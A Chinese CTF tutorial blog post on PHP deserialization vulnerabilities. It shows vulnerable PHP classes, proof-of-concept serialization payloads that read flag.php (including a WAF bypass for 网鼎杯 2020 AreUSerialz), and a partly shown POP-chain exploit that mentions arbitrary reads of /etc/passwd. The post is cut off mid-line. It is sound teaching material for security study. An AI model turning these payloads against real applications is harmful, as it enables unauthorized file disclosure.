题库:PHP反序列化漏洞详解


第1题:简单的反序列化利用

  题目地址:120.55.195.183/MyPractice/php-unserialize/test0/index.php。云服务器过期了,源码如下。
  (1)接收用户输入文件 index.php

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);

//入门第一题
//class:只有一个class,不涉及class之间的调用
//跳板方法:是class中的readfile()方法,不是class中的__destruct()
    

    require_once('class.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

  (2)class.php

<?php
    highlight_file(__FILE__);
    //flag is in flag.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

  (3)poc.php,自行编写flag.php

<?php

highlight_file(__FILE__);
class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
}

$x = new Shield();
$x->file = "flag.php";

echo serialize($x); 

第2题:绕过WAF的反序列化利用

  来源[网鼎杯 2020 青龙组]AreUSerialz。题目地址:120.55.195.183/MyPractice/php-unserialize/test1/index.php。
  (1)index.php

<?php

//入门第2题
//[网鼎杯 2020 青龙组]AreUSerialz。考察点:单类class的WAF绕过。

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

  (2)poc.php:弱类型-绕过操作数限制,Public类型-绕过Private类型。

<?php
class FileHandler {

    public $op;
    public $filename;
    public $content;
}
$x = new FileHandler();
$x->op=2;
$x->filename="flag.php";
echo serialize($x);
?>

第3题:pop利用链-字符逃逸

  涉及class之间的调用。安恒春季赛Esunserialize,在本地搭建,源码是之前比赛保存在本地的,BuuCTF上面没有该题目,本地起一个Docker容器作为题目环境。

  魔术方法__toString():当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么。如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

  题目源码如下

<?php
show_source("unserialize.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;	}}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';	}}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

  首先寻找跳板函数,发现Class C中存在file_get_contents($this->c)可以读取文件内容并输出,所以考虑构造Class C以及c变量/etc/passwd实现任意文件读取。要执行该方法,必须先执行__toString()魔术方法,它是在直接输出对象引用时自动调用的方法。

$c = new C()
$c->c = "flag.php"

  寻找echo操作,发现Class B中存在echo。要想执行Class B中的echo $c,就必须执行Class B的__destruct()销毁函数,就必须构造Class B的实例对象。

$b = new B();

  要想执行Class C的跳板函数file_get_contents(),就必须执行Class B的echo函数,就必须执行Class B的销毁函数,就必须实例化Class B。可控的序列化对象是Class A,可以把Class B作为Class A的一个属性。

$c = 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值